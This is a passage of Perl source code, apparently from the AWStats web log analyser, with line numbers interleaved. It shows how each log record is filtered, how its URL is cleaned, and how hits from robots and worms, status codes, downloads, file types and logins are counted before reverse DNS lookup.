                            "Dropped record (host $field[$pos_host]"
 
18035
                          . ( $pos_hostr ? " and $field[$pos_hostr]" : "" )
 
18036
                          . " not qualified by OnlyHosts)";
 
18037
                }
 
18038
                elsif ( @OnlyUsers && !&OnlyUser( $field[$pos_logname] ) ) {
 
18039
                        $qualifdrop =
 
18040
"Dropped record (URL $field[$pos_logname] not qualified by OnlyUsers)";
 
18041
                }
 
18042
                elsif ( @OnlyFiles && !&OnlyFile( $field[$pos_url] ) ) {
 
18043
                        $qualifdrop =
 
18044
"Dropped record (URL $field[$pos_url] not qualified by OnlyFiles)";
 
18045
                }
 
18046
                elsif ( @OnlyUserAgents && !&OnlyUserAgent( $field[$pos_agent] ) ) {
 
18047
                        $qualifdrop =
 
18048
"Dropped record (user agent '$field[$pos_agent]' not qualified by OnlyUserAgents)";
 
18049
                }
 
18050
                if ($qualifdrop) {
 
18051
                        $NbOfLinesDropped++;
 
18052
                        if ($Debug) { debug( "$qualifdrop: $line", 4 ); }
 
18053
                        if ($ShowDropped) { print "$qualifdrop: $line\n"; }
 
18054
                        $qualifdrop = '';
 
18055
                        next;
 
18056
                }
 
18057
 
 
18058
                # Record is approved
 
18059
                #-------------------
 
18060
 
 
18061
                # Is it in a new break section ?
 
18062
                #-------------------------------
 
18063
                if ( $daterecord > $lastprocesseddate ) {
 
18064
 
 
18065
                        # A new break to process
 
18066
                        if ( $lastprocesseddate > 0 ) {
 
18067
 
 
18068
                                # We save data of previous break
 
18069
                                &Read_History_With_TmpUpdate(
 
18070
                                        $lastprocessedyear, $lastprocessedmonth,
 
18071
                                        $lastprocessedday,  $lastprocessedhour,
 
18072
                                        1,                  1,
 
18073
                                        "all", ( $lastlinenb + $NbOfLinesParsed ),
 
18074
                                        $lastlineoffset, &CheckSum($line)
 
18075
                                );
 
18076
                                $counterforflushtest = 0;    # We reset counterforflushtest
 
18077
                        }
 
18078
                        $lastprocessedyear  = $yearrecord;
 
18079
                        $lastprocessedmonth = $monthrecord;
 
18080
                        $lastprocessedday   = $dayrecord;
 
18081
                        $lastprocessedhour  = $hourrecord;
 
18082
                        if ( $DatabaseBreak eq 'month' ) {
 
18083
                                $lastprocesseddate =
 
18084
                                  sprintf( "%04i%02i", $yearrecord, $monthrecord );
 
18085
                        }
 
18086
                        elsif ( $DatabaseBreak eq 'year' ) {
 
18087
                                $lastprocesseddate = sprintf( "%04i%", $yearrecord );
 
18088
                        }
 
18089
                        elsif ( $DatabaseBreak eq 'day' ) {
 
18090
                                $lastprocesseddate = sprintf( "%04i%02i%02i",
 
18091
                                        $yearrecord, $monthrecord, $dayrecord );
 
18092
                        }
 
18093
                        elsif ( $DatabaseBreak eq 'hour' ) {
 
18094
                                $lastprocesseddate = sprintf( "%04i%02i%02i%02i",
 
18095
                                        $yearrecord, $monthrecord, $dayrecord, $hourrecord );
 
18096
                        }
 
18097
                }
 
18098
 
 
18099
                $countedtraffic = 0;
 
18100
                $NbOfNewLines++;
 
18101
 
 
18102
                # Convert $field[$pos_size]
 
18103
                # if ($field[$pos_size] eq '-') { $field[$pos_size]=0; }
 
18104
 
 
18105
        # Define a clean target URL and referrer URL
 
18106
        # We keep a clean $field[$pos_url] and
 
18107
        # we store original value for urlwithnoquery, tokenquery and standalonequery
 
18108
        #---------------------------------------------------------------------------
 
18109
                if ($URLNotCaseSensitive) { $field[$pos_url] = lc( $field[$pos_url] ); }
 
18110
 
 
18111
# Possible URL syntax for $field[$pos_url]: /mydir/mypage.ext?param1=x&param2=y#aaa, /mydir/mypage.ext#aaa, /
 
18112
                my $urlwithnoquery;
 
18113
                my $tokenquery;
 
18114
                my $standalonequery;
 
18115
                my $anchor = '';
 
18116
                if ( $field[$pos_url] =~ s/$regtruncanchor//o ) {
 
18117
                        $anchor = $1;
 
18118
                }    # Remove and save anchor
 
18119
                if ($URLWithQuery) {
 
18120
                        $urlwithnoquery = $field[$pos_url];
 
18121
                        my $foundparam = ( $urlwithnoquery =~ s/$regtruncurl//o );
 
18122
                        $tokenquery      = $1 || '';
 
18123
                        $standalonequery = $2 || '';
 
18124
 
 
18125
# For IIS setup, if pos_query is enabled we need to combine the URL to query strings
 
18126
                        if (   !$foundparam
 
18127
                                && $pos_query >= 0
 
18128
                                && $field[$pos_query]
 
18129
                                && $field[$pos_query] ne '-' )
 
18130
                        {
 
18131
                                $foundparam      = 1;
 
18132
                                $tokenquery      = '?';
 
18133
                                $standalonequery = $field[$pos_query];
 
18134
 
 
18135
                                # Define query
 
18136
                                $field[$pos_url] .= '?' . $field[$pos_query];
 
18137
                        }
 
18138
                        if ($foundparam) {
 
18139
 
 
18140
  # Keep only params that are defined in URLWithQueryWithOnlyFollowingParameters
 
18141
                                my $newstandalonequery = '';
 
18142
                                if (@URLWithQueryWithOnly) {
 
18143
                                        foreach (@URLWithQueryWithOnly) {
 
18144
                                                foreach my $p ( split( /&/, $standalonequery ) ) {
 
18145
                                                        if ($URLNotCaseSensitive) {
 
18146
                                                                if ( $p =~ /^$_=/i ) {
 
18147
                                                                        $newstandalonequery .= "$p&";
 
18148
                                                                        last;
 
18149
                                                                }
 
18150
                                                        }
 
18151
                                                        else {
 
18152
                                                                if ( $p =~ /^$_=/ ) {
 
18153
                                                                        $newstandalonequery .= "$p&";
 
18154
                                                                        last;
 
18155
                                                                }
 
18156
                                                        }
 
18157
                                                }
 
18158
                                        }
 
18159
                                        chop $newstandalonequery;
 
18160
                                }
 
18161
 
 
18162
# Remove params that are marked to be ignored in URLWithQueryWithoutFollowingParameters
 
18163
                                elsif (@URLWithQueryWithout) {
 
18164
                                        foreach my $p ( split( /&/, $standalonequery ) ) {
 
18165
                                                my $found = 0;
 
18166
                                                foreach (@URLWithQueryWithout) {
 
18167
 
 
18168
#if ($Debug) { debug("  Check if '$_=' is param '$p' to remove it from query",5); }
 
18169
                                                        if ($URLNotCaseSensitive) {
 
18170
                                                                if ( $p =~ /^$_=/i ) { $found = 1; last; }
 
18171
                                                        }
 
18172
                                                        else {
 
18173
                                                                if ( $p =~ /^$_=/ ) { $found = 1; last; }
 
18174
                                                        }
 
18175
                                                }
 
18176
                                                if ( !$found ) { $newstandalonequery .= "$p&"; }
 
18177
                                        }
 
18178
                                        chop $newstandalonequery;
 
18179
                                }
 
18180
                                else { $newstandalonequery = $standalonequery; }
 
18181
 
 
18182
                                # Define query
 
18183
                                $field[$pos_url] = $urlwithnoquery;
 
18184
                                if ($newstandalonequery) {
 
18185
                                        $field[$pos_url] .= "$tokenquery$newstandalonequery";
 
18186
                                }
 
18187
                        }
 
18188
                }
 
18189
                else {
 
18190
 
 
18191
                        # Trunc parameters of URL
 
18192
                        $field[$pos_url] =~ s/$regtruncurl//o;
 
18193
                        $urlwithnoquery  = $field[$pos_url];
 
18194
                        $tokenquery      = $1 || '';
 
18195
                        $standalonequery = $2 || '';
 
18196
 
 
18197
        # For IIS setup, if pos_query is enabled we need to use it for query strings
 
18198
                        if (   $pos_query >= 0
 
18199
                                && $field[$pos_query]
 
18200
                                && $field[$pos_query] ne '-' )
 
18201
                        {
 
18202
                                $tokenquery      = '?';
 
18203
                                $standalonequery = $field[$pos_query];
 
18204
                        }
 
18205
                }
 
18206
                if ( $URLWithAnchor && $anchor ) {
 
18207
                        $field[$pos_url] .= "#$anchor";
 
18208
                }   # Restore anchor
 
18209
                    # Here now urlwithnoquery is /mydir/mypage.ext, /mydir, /, /page#XXX
 
18210
                    # Here now tokenquery is '' or '?' or ';'
 
18211
                    # Here now standalonequery is '' or 'param1=x'
 
18212
 
 
18213
                # Define page and extension
 
18214
                #--------------------------
 
18215
                my $PageBool = 1;
 
18216
 
 
18217
                # Extension
 
18218
                my $extension = Get_Extension($regext, $urlwithnoquery);
 
18219
                if ( $NotPageList{$extension} || 
 
18220
                ($MimeHashLib{$extension}[1]) && $MimeHashLib{$extension}[1] ne 'p') { $PageBool = 0;}
 
18221
                if ( @NotPageFiles && &NotPageFile( $field[$pos_url] ) ) { $PageBool = 0; }
 
18222
 
 
18223
                # Analyze: misc tracker (must be before return code)
 
18224
                #---------------------------------------------------
 
18225
                if ( $urlwithnoquery =~ /$regmisc/o ) {
 
18226
                        if ($Debug) {
 
18227
                                debug(
 
18228
"  Found an URL that is a MiscTracker record with standalonequery=$standalonequery",
 
18229
                                        2
 
18230
                                );
 
18231
                        }
 
18232
                        my $foundparam = 0;
 
18233
                        foreach ( split( /&/, $standalonequery ) ) {
 
18234
                                if ( $_ =~ /^screen=(\d+)x(\d+)/i ) {
 
18235
                                        $foundparam++;
 
18236
                                        $_screensize_h{"$1x$2"}++;
 
18237
                                        next;
 
18238
                                }
 
18239
 
 
18240
   #if ($_ =~ /cdi=(\d+)/i)                     { $foundparam++; $_screendepth_h{"$1"}++; next; }
 
18241
                                if ( $_ =~ /^nojs=(\w+)/i ) {
 
18242
                                        $foundparam++;
 
18243
                                        if ( $1 eq 'y' ) { $_misc_h{"JavascriptDisabled"}++; }
 
18244
                                        next;
 
18245
                                }
 
18246
                                if ( $_ =~ /^java=(\w+)/i ) {
 
18247
                                        $foundparam++;
 
18248
                                        if ( $1 eq 'true' ) { $_misc_h{"JavaEnabled"}++; }
 
18249
                                        next;
 
18250
                                }
 
18251
                                if ( $_ =~ /^shk=(\w+)/i ) {
 
18252
                                        $foundparam++;
 
18253
                                        if ( $1 eq 'y' ) { $_misc_h{"DirectorSupport"}++; }
 
18254
                                        next;
 
18255
                                }
 
18256
                                if ( $_ =~ /^fla=(\w+)/i ) {
 
18257
                                        $foundparam++;
 
18258
                                        if ( $1 eq 'y' ) { $_misc_h{"FlashSupport"}++; }
 
18259
                                        next;
 
18260
                                }
 
18261
                                if ( $_ =~ /^rp=(\w+)/i ) {
 
18262
                                        $foundparam++;
 
18263
                                        if ( $1 eq 'y' ) { $_misc_h{"RealPlayerSupport"}++; }
 
18264
                                        next;
 
18265
                                }
 
18266
                                if ( $_ =~ /^mov=(\w+)/i ) {
 
18267
                                        $foundparam++;
 
18268
                                        if ( $1 eq 'y' ) { $_misc_h{"QuickTimeSupport"}++; }
 
18269
                                        next;
 
18270
                                }
 
18271
                                if ( $_ =~ /^wma=(\w+)/i ) {
 
18272
                                        $foundparam++;
 
18273
                                        if ( $1 eq 'y' ) {
 
18274
                                                $_misc_h{"WindowsMediaPlayerSupport"}++;
 
18275
                                        }
 
18276
                                        next;
 
18277
                                }
 
18278
                                if ( $_ =~ /^pdf=(\w+)/i ) {
 
18279
                                        $foundparam++;
 
18280
                                        if ( $1 eq 'y' ) { $_misc_h{"PDFSupport"}++; }
 
18281
                                        next;
 
18282
                                }
 
18283
                        }
 
18284
                        if ($foundparam) { $_misc_h{"TotalMisc"}++; }
 
18285
                }
 
18286
 
 
18287
                # Analyze: successful favicon (=> countedtraffic=1 if favicon)
 
18288
                #--------------------------------------------------
 
18289
                if ( $urlwithnoquery =~ /$regfavico/o ) {
 
18290
                        if ( $field[$pos_code] != 404 ) {
 
18291
                                $_misc_h{'AddToFavourites'}++;
 
18292
                        }
 
18293
                        $countedtraffic =
 
18294
                          1;    # favicon is a case that must not be counted anywhere else
 
18295
                        $_time_nv_h[$hourrecord]++;
 
18296
                        if ( $field[$pos_code] != 404 && $pos_size>0) {
 
18297
                                $_time_nv_k[$hourrecord] += int( $field[$pos_size] );
 
18298
                        }
 
18299
                }
 
18300
 
 
18301
                # Analyze: Worms (=> countedtraffic=2 if worm)
 
18302
                #---------------------------------------------
 
18303
                if ( !$countedtraffic ) {
 
18304
                        if ($LevelForWormsDetection) {
 
18305
                                foreach (@WormsSearchIDOrder) {
 
18306
                                        if ( $field[$pos_url] =~ /$_/ ) {
 
18307
 
 
18308
                                                # It's a worm
 
18309
                                                my $worm = &UnCompileRegex($_);
 
18310
                                                if ($Debug) {
 
18311
                                                        debug(
 
18312
" Record is a hit from a worm identified by '$worm'",
 
18313
                                                                2
 
18314
                                                        );
 
18315
                                                }
 
18316
                                                $worm = $WormsHashID{$worm} || 'unknown';
 
18317
                                                $_worm_h{$worm}++;
 
18318
                                                if ($pos_size>0){$_worm_k{$worm} += int( $field[$pos_size] );}
 
18319
                                                $_worm_l{$worm} = $timerecord;
 
18320
                                                $countedtraffic = 2;
 
18321
                                                if ($PageBool) { $_time_nv_p[$hourrecord]++; }
 
18322
                                                $_time_nv_h[$hourrecord]++;
 
18323
                                                if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
 
18324
                                                last;
 
18325
                                        }
 
18326
                                }
 
18327
                        }
 
18328
                }
 
18329
 
 
18330
                # Analyze: Status code (=> countedtraffic=3 if error)
 
18331
                #----------------------------------------------------
 
18332
                if ( !$countedtraffic ) {
 
18333
                        if ( $LogType eq 'W' || $LogType eq 'S' )
 
18334
                        {    # HTTP record or Stream record
 
18335
                                if ( $ValidHTTPCodes{ $field[$pos_code] } ) {    # Code is valid
 
18336
                                        if ( int($field[$pos_code]) == 304 && $pos_size>0) { $field[$pos_size] = 0; }
 
18337
                                        # track downloads
 
18338
                                        if (int($field[$pos_code]) == 200 && $MimeHashLib{$extension}[1] eq 'd'){
 
18339
                                                $_downloads{$urlwithnoquery}->{'AWSTATS_HITS'}++;
 
18340
                                                $_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0);
 
18341
                                                if ($Debug) { debug( " New download detected: '$urlwithnoquery'", 2 ); }
 
18342
                                        }
 
18343
                                # handle 206 download continuation message IF we had a successful 200 before, otherwise it goes in errors
 
18344
                                }elsif(int($field[$pos_code]) == 206 
 
18345
                                        #&& $_downloads{$urlwithnoquery}->{$field[$pos_host]}[0] > 0 
 
18346
                                        && ($MimeHashLib{$extension}[1] eq 'd')){
 
18347
                                        $_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0);
 
18348
                                        $_downloads{$urlwithnoquery}->{'AWSTATS_206'}++;
 
18349
                                        #$_downloads{$urlwithnoquery}->{$field[$pos_host]}[1] = $timerecord;
 
18350
                                        if ($pos_size>0){
 
18351
                                                #$_downloads{$urlwithnoquery}->{$field[$pos_host]}[2] = int($field[$pos_size]);
 
18352
                                                $DayBytes{$yearmonthdayrecord} += int($field[$pos_size]);
 
18353
                                                $_time_k[$hourrecord] += int($field[$pos_size]);
 
18354
                                        }
 
18355
                                        $countedtraffic = 6; # 206 continued download, so we track bandwidth but not pages or hits
 
18356
                                        if ($Debug) { debug( " Download continuation detected: '$urlwithnoquery'", 2 ); }
 
18357
                                }else {    # Code is not valid
 
18358
                                        if ( $field[$pos_code] !~ /^\d\d\d$/ ) {
 
18359
                                                $field[$pos_code] = 999;
 
18360
                                        }
 
18361
                                        $_errors_h{ $field[$pos_code] }++;
 
18362
                                        if ($pos_size>0){$_errors_k{ $field[$pos_code] } += int( $field[$pos_size] );}
 
18363
                                        foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
 
18364
                                                if ( $field[$pos_code] == $code ) {
 
18365
 
 
18366
                                           # This is an error code which referrer need to be tracked
 
18367
                                                        my $newurl =
 
18368
                                                          substr( $field[$pos_url], 0,
 
18369
                                                                $MaxLengthOfStoredURL );
 
18370
                                                        $newurl =~ s/[$URLQuerySeparators].*$//;
 
18371
                                                        $_sider404_h{$newurl}++;
 
18372
                                                        if ( $pos_referer >= 0 ) {
 
18373
                                                                my $newreferer = $field[$pos_referer];
 
18374
                                                                if ( !$URLReferrerWithQuery ) {
 
18375
                                                                        $newreferer =~ s/[$URLQuerySeparators].*$//;
 
18376
                                                                }
 
18377
                                                                $_referer404_h{$newurl} = $newreferer;
 
18378
                                                                last;
 
18379
                                                        }
 
18380
                                                }
 
18381
                                        }
 
18382
                                        if ($Debug) {
 
18383
                                                debug(
 
18384
" Record stored in the status code chart (status code=$field[$pos_code])",
 
18385
                                                        3
 
18386
                                                );
 
18387
                                        }
 
18388
                                        $countedtraffic = 3;
 
18389
                                        if ($PageBool) { $_time_nv_p[$hourrecord]++; }
 
18390
                                        $_time_nv_h[$hourrecord]++;
 
18391
                                        if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
 
18392
                                }
 
18393
                        }
 
18394
                        elsif ( $LogType eq 'M' ) {    # Mail record
 
18395
                                if ( !$ValidSMTPCodes{ $field[$pos_code] } )
 
18396
                                {                          # Code is not valid
 
18397
                                        $_errors_h{ $field[$pos_code] }++;
 
18398
                                        if ( $field[$pos_size] ne '-' && $pos_size>0) {
 
18399
                                                $_errors_k{ $field[$pos_code] } +=
 
18400
                                                  int( $field[$pos_size] );
 
18401
                                        }
 
18402
                                        if ($Debug) {
 
18403
                                                debug(
 
18404
" Record stored in the status code chart (status code=$field[$pos_code])",
 
18405
                                                        3
 
18406
                                                );
 
18407
                                        }
 
18408
                                        $countedtraffic = 3;
 
18409
                                        if ($PageBool) { $_time_nv_p[$hourrecord]++; }
 
18410
                                        $_time_nv_h[$hourrecord]++;
 
18411
                                        if ( $field[$pos_size] ne '-' && $pos_size>0) {
 
18412
                                                $_time_nv_k[$hourrecord] += int( $field[$pos_size] );
 
18413
                                        }
 
18414
                                }
 
18415
                        }
 
18416
                        elsif ( $LogType eq 'F' ) {    # FTP record
 
18417
                        }
 
18418
                }
 
18419
 
 
18420
                # Analyze: Robot from robot database (=> countedtraffic=4 if robot)
 
18421
                #------------------------------------------------------------------
 
18422
                if ( !$countedtraffic ) {
 
18423
                        if ( $pos_agent >= 0 ) {
 
18424
                                if ($DecodeUA) {
 
18425
                                        $field[$pos_agent] =~ s/%20/_/g;
 
18426
                                } # This is to support servers (like Roxen) that writes user agent with %20 in it
 
18427
                                $UserAgent = $field[$pos_agent];
 
18428
                                if ( $UserAgent && $UserAgent eq '-' ) { $UserAgent = ''; }
 
18429
 
 
18430
                                if ($LevelForRobotsDetection) {
 
18431
 
 
18432
                                        if ($UserAgent) {
 
18433
                                                my $uarobot = $TmpRobot{$UserAgent};
 
18434
                                                if ( !$uarobot ) {
 
18435
 
 
18436
                                                        #study $UserAgent;              Does not increase speed
 
18437
                                                        foreach (@RobotsSearchIDOrder) {
 
18438
                                                                if ( $UserAgent =~ /$_/ ) {
 
18439
                                                                        my $bot = &UnCompileRegex($_);
 
18440
                                                                        $TmpRobot{$UserAgent} = $uarobot = "$bot"
 
18441
                                                                          ; # Last time, we won't search if robot or not. We know it is.
 
18442
                                                                        if ($Debug) {
 
18443
                                                                                debug(
 
18444
"  UserAgent '$UserAgent' is added to TmpRobot with value '$bot'",
 
18445
                                                                                        2
 
18446
                                                                                );
 
18447
                                                                        }
 
18448
                                                                        last;
 
18449
                                                                }
 
18450
                                                        }
 
18451
                                                        if ( !$uarobot )
 
18452
                                                        { # Last time, we won't search if robot or not. We know it's not.
 
18453
                                                                $TmpRobot{$UserAgent} = $uarobot = '-';
 
18454
                                                        }
 
18455
                                                }
 
18456
                                                if ( $uarobot ne '-' ) {
 
18457
 
 
18458
                                                        # If robot, we stop here
 
18459
                                                        if ($Debug) {
 
18460
                                                                debug(
 
18461
"  UserAgent '$UserAgent' contains robot ID '$uarobot'",
 
18462
                                                                        2
 
18463
                                                                );
 
18464
                                                        }
 
18465
                                                        $_robot_h{$uarobot}++;
 
18466
                                                        if ( $field[$pos_size] ne '-' && $pos_size>0) {
 
18467
                                                                $_robot_k{$uarobot} += int( $field[$pos_size] );
 
18468
                                                        }
 
18469
                                                        $_robot_l{$uarobot} = $timerecord;
 
18470
                                                        if ( $urlwithnoquery =~ /$regrobot/o ) {
 
18471
                                                                $_robot_r{$uarobot}++;
 
18472
                                                        }
 
18473
                                                        $countedtraffic = 4;
 
18474
                                                        if ($PageBool) { $_time_nv_p[$hourrecord]++; }
 
18475
                                                        $_time_nv_h[$hourrecord]++;
 
18476
                                                        if ( $field[$pos_size] ne '-' && $pos_size>0) {
 
18477
                                                                $_time_nv_k[$hourrecord] +=
 
18478
                                                                  int( $field[$pos_size] );
 
18479
                                                        }
 
18480
                                                }
 
18481
                                        }
 
18482
                                        else {
 
18483
                                                my $uarobot = 'no_user_agent';
 
18484
 
 
18485
                                                # It's a robot or at least a bad browser, we stop here
 
18486
                                                if ($Debug) {
 
18487
                                                        debug(
 
18488
"  UserAgent not defined so it should be a robot, saved as robot 'no_user_agent'",
 
18489
                                                                2
 
18490
                                                        );
 
18491
                                                }
 
18492
                                                $_robot_h{$uarobot}++;
 
18493
                                                if ($pos_size>0){$_robot_k{$uarobot} += int( $field[$pos_size] );}
 
18494
                                                $_robot_l{$uarobot} = $timerecord;
 
18495
                                                if ( $urlwithnoquery =~ /$regrobot/o ) {
 
18496
                                                        $_robot_r{$uarobot}++;
 
18497
                                                }
 
18498
                                                $countedtraffic = 4;
 
18499
                                                if ($PageBool) { $_time_nv_p[$hourrecord]++; }
 
18500
                                                $_time_nv_h[$hourrecord]++;
 
18501
                                                if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
 
18502
                                        }
 
18503
                                }
 
18504
                        }
 
18505
                }
 
18506
 
 
18507
   # Analyze: Robot from "hit on robots.txt" file (=> countedtraffic=5 if robot)
 
18508
   # -------------------------------------------------------------------------
 
18509
                if ( !$countedtraffic ) {
 
18510
                        if ( $urlwithnoquery =~ /$regrobot/o ) {
 
18511
                                if ($Debug) { debug( "  It's an unknown robot", 2 ); }
 
18512
                                $_robot_h{'unknown'}++;
 
18513
                                if ($pos_size>0){$_robot_k{'unknown'} += int( $field[$pos_size] );}
 
18514
                                $_robot_l{'unknown'} = $timerecord;
 
18515
                                $_robot_r{'unknown'}++;
 
18516
                                $countedtraffic = 5;    # Must not be counted somewhere else
 
18517
                                if ($PageBool) { $_time_nv_p[$hourrecord]++; }
 
18518
                                $_time_nv_h[$hourrecord]++;
 
18519
                                if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
 
18520
                        }
 
18521
                }
 
18522
 
 
18523
                # Analyze: File type - Compression
 
18524
                #---------------------------------
 
18525
                if ( !$countedtraffic || $countedtraffic == 6) {
 
18526
                        if ($LevelForFileTypesDetection) {
 
18527
                                if ($countedtraffic != 6){$_filetypes_h{$extension}++;}
 
18528
                                if ( $field[$pos_size] ne '-' && $pos_size>0) {
 
18529
                                        $_filetypes_k{$extension} += int( $field[$pos_size] );
 
18530
                                }
 
18531
 
 
18532
                                # Compression
 
18533
                                if ( $pos_gzipin >= 0 && $field[$pos_gzipin] )
 
18534
                                {    # If in and out in log
 
18535
                                        my ( $notused, $in ) = split( /:/, $field[$pos_gzipin] );
 
18536
                                        my ( $notused1, $out, $notused2 ) =
 
18537
                                          split( /:/, $field[$pos_gzipout] );
 
18538
                                        if ($out) {
 
18539
                                                $_filetypes_gz_in{$extension}  += $in;
 
18540
                                                $_filetypes_gz_out{$extension} += $out;
 
18541
                                        }
 
18542
                                }
 
18543
                                elsif ( $pos_compratio >= 0
 
18544
                                        && ( $field[$pos_compratio] =~ /(\d+)/ ) )
 
18545
                                {    # Calculate in/out size from percentage
 
18546
                                        if ( $fieldlib[$pos_compratio] eq 'gzipratio' ) {
 
18547
 
 
18548
        # with mod_gzip:    % is size (before-after)/before (low for jpg) ??????????
 
18549
                                                $_filetypes_gz_in{$extension} +=
 
18550
                                                  int(
 
18551
                                                        $field[$pos_size] * 100 / ( ( 100 - $1 ) || 1 ) );
 
18552
                                        }
 
18553
                                        else {
 
18554
 
 
18555
                                           # with mod_deflate: % is size after/before (high for jpg)
 
18556
                                                $_filetypes_gz_in{$extension} +=
 
18557
                                                  int( $field[$pos_size] * 100 / ( $1 || 1 ) );
 
18558
                                        }
 
18559
                                        if ($pos_size>0){$_filetypes_gz_out{$extension} += int( $field[$pos_size] );}
 
18560
                                }
 
18561
                        }
 
18562
 
 
18563
                        # Analyze: Date - Hour - Pages - Hits - Kilo
 
18564
                        #-------------------------------------------
 
18565
                        if ($PageBool) {
 
18566
 
 
18567
# Replace default page name with / only ('if' is to increase speed when only 1 value in @DefaultFile)
 
18568
                                if ( @DefaultFile > 1 ) {
 
18569
                                        foreach my $elem (@DefaultFile) {
 
18570
                                                if ( $field[$pos_url] =~ s/\/$elem$/\// ) { last; }
 
18571
                                        }
 
18572
                                }
 
18573
                                else { $field[$pos_url] =~ s/$regdefault/\//o; }
 
18574
 
 
18575
# FirstTime and LastTime are First and Last human visits (so changed if access to a page)
 
18576
                                $FirstTime{$lastprocesseddate} ||= $timerecord;
 
18577
                                $LastTime{$lastprocesseddate} = $timerecord;
 
18578
                                $DayPages{$yearmonthdayrecord}++;
 
18579
                                $_url_p{ $field[$pos_url] }++;   #Count accesses for page (page)
 
18580
                                if ( $field[$pos_size] ne '-' && $pos_size>0) {
 
18581
                                        $_url_k{ $field[$pos_url] } += int( $field[$pos_size] );
 
18582
                                }
 
18583
                                $_time_p[$hourrecord]++;    #Count accesses for hour (page)
 
18584
                                                            # TODO Use an id for hash key of url
 
18585
                                                            # $_url_t{$_url_id}
 
18586
                        }
 
18587
                        if ($countedtraffic != 6){$_time_h[$hourrecord]++;}
 
18588
                        if ($countedtraffic != 6){$DayHits{$yearmonthdayrecord}++;}    #Count accesses for hour (hit)
 
18589
                        if ( $field[$pos_size] ne '-' && $pos_size>0) {
 
18590
                                $_time_k[$hourrecord]          += int( $field[$pos_size] );
 
18591
                                $DayBytes{$yearmonthdayrecord} += int( $field[$pos_size] );     #Count accesses for hour (kb)
 
18592
                        }
 
18593
 
 
18594
                        # Analyze: Login
 
18595
                        #---------------
 
18596
                        if (   $pos_logname >= 0
 
18597
                                && $field[$pos_logname]
 
18598
                                && $field[$pos_logname] ne '-' )
 
18599
                        {
 
18600
                                $field[$pos_logname] =~
 
18601
                                  s/ /_/g;    # This is to allow space in logname
 
18602
                                if ( $LogFormat eq '6' ) {
 
18603
                                        $field[$pos_logname] =~ s/^\"//;
 
18604
                                        $field[$pos_logname] =~ s/\"$//;
 
18605
                                }             # logname field has " with Domino 6+
 
18606
                                if ($AuthenticatedUsersNotCaseSensitive) {
 
18607
                                        $field[$pos_logname] = lc( $field[$pos_logname] );
 
18608
                                }
 
18609
 
 
18610
                                # We found an authenticated user
 
18611
                                if ($PageBool) {
 
18612
                                        $_login_p{ $field[$pos_logname] }++;
 
18613
                                }             #Count accesses for page (page)
 
18614
                                if ($countedtraffic != 6){$_login_h{$field[$pos_logname]}++;}         #Count accesses for page (hit)
 
18615
                                if ($pos_size>0){$_login_k{ $field[$pos_logname] } +=
 
18616
                                  int( $field[$pos_size] );}    #Count accesses for page (kb)
 
18617
                                $_login_l{ $field[$pos_logname] } = $timerecord;
 
18618
                        }
 
18619
                }
 
18620
 
 
18621
                # Do DNS lookup
 
18622
                #--------------
 
18623
                my $Host         = $field[$pos_host];
 
18624
                my $HostResolved = ''
 
18625
                  ; # HostResolved will be defined in next paragraf if countedtraffic is true
 
18626
 
 
18627
                if ( !$countedtraffic || $countedtraffic == 6) {
 
18628
                        my $ip = 0;
 
18629
                        if ($DNSLookup) {    # DNS lookup is 1 or 2
 
18630
                                if ( $Host =~ /$regipv4l/o ) {    # IPv4 lighttpd
 
18631
                                        $Host =~ s/^::ffff://;
 
18632
                                        $ip = 4;
 
18633
                                }
 
18634
                                elsif ( $Host =~ /$regipv4/o ) { $ip = 4; }    # IPv4
 
18635
                                elsif ( $Host =~ /$regipv6/o ) { $ip = 6; }    # IPv6
 
18636
                                if ($ip) {
 
18637
 
 
18638
                                        # Check in static DNS cache file
 
18639
                                        $HostResolved = $MyDNSTable{$Host};
 
18640
                                        if ($HostResolved) {
 
18641
                                                if ($Debug) {
 
18642
                                                        debug(
 
18643
"  DNS lookup asked for $Host and found in static DNS cache file: $HostResolved",
 
18644
                                                                4
 
18645
                                                        );
 
18646
                                                }
 
18647
                                        }
 
18648
                                        elsif ( $DNSLookup == 1 ) {
 
18649
 
 
18650
                   # Check in session cache (dynamic DNS cache file + session DNS cache)
 
18651
                                                $HostResolved = $TmpDNSLookup{$Host};
 
18652
                                                if ( !$HostResolved ) {
 
18653
                                                        if ( @SkipDNSLookupFor && &SkipDNSLookup($Host) ) {
 
18654
                                                                $HostResolved = $TmpDNSLookup{$Host} = '*';
 
18655
                                                                if ($Debug) {
 
18656
                                                                        debug(
 
18657
"  No need of reverse DNS lookup for $Host, skipped at user request.",
 
18658
                                                                                4
 
18659
                                                                        );
 
18660
                                                                }
 
18661
                                                        }
 
18662
                                                        else {
 
18663
                                                                if ( $ip == 4 ) {
 
18664
                                                                        my $lookupresult =
 
18665
                                                                          gethostbyaddr(
 
18666
                                                                                pack( "C4", split( /\./, $Host ) ),
 
18667
                                                                                AF_INET )
 
18668
                                                                          ; # This is very slow, may spend 20 seconds
 
18669
                                                                        if (   !$lookupresult
 
18670
                                                                                || $lookupresult =~ /$regipv4/o
 
18671
                                                                                || !IsAscii($lookupresult) )
 
18672
                                                                        {
 
18673
                                                                                $TmpDNSLookup{$Host} = $HostResolved =
 
18674
                                                                                  '*';
 
18675
                                                                        }
 
18676
                                                                        else {
 
18677
                                                                                $TmpDNSLookup{$Host} = $HostResolved =
 
18678
                                                                                  $lookupresult;
 
18679
                                                                        }
 
18680
                                                                        if ($Debug) {
 
18681
                                                                                debug(
 
18682
"  Reverse DNS lookup for $Host done: $HostResolved",
 
18683
                                                                                        4
 
18684
                                                                                );
 
18685
                                                                        }
 
18686
                                                                }
 
18687
                                                                elsif ( $ip == 6 ) {
 
18688
                                                                        if ( $PluginsLoaded{'GetResolvedIP'}
 
18689
                                                                                {'ipv6'} )
 
18690
                                                                        {
 
18691
                                                                                my $lookupresult =
 
18692
                                                                                  GetResolvedIP_ipv6($Host);
 
18693
                                                                                if (   !$lookupresult
 
18694
                                                                                        || !IsAscii($lookupresult) )
 
18695
                                                                                {
 
18696
                                                                                        $TmpDNSLookup{$Host} =
 
18697
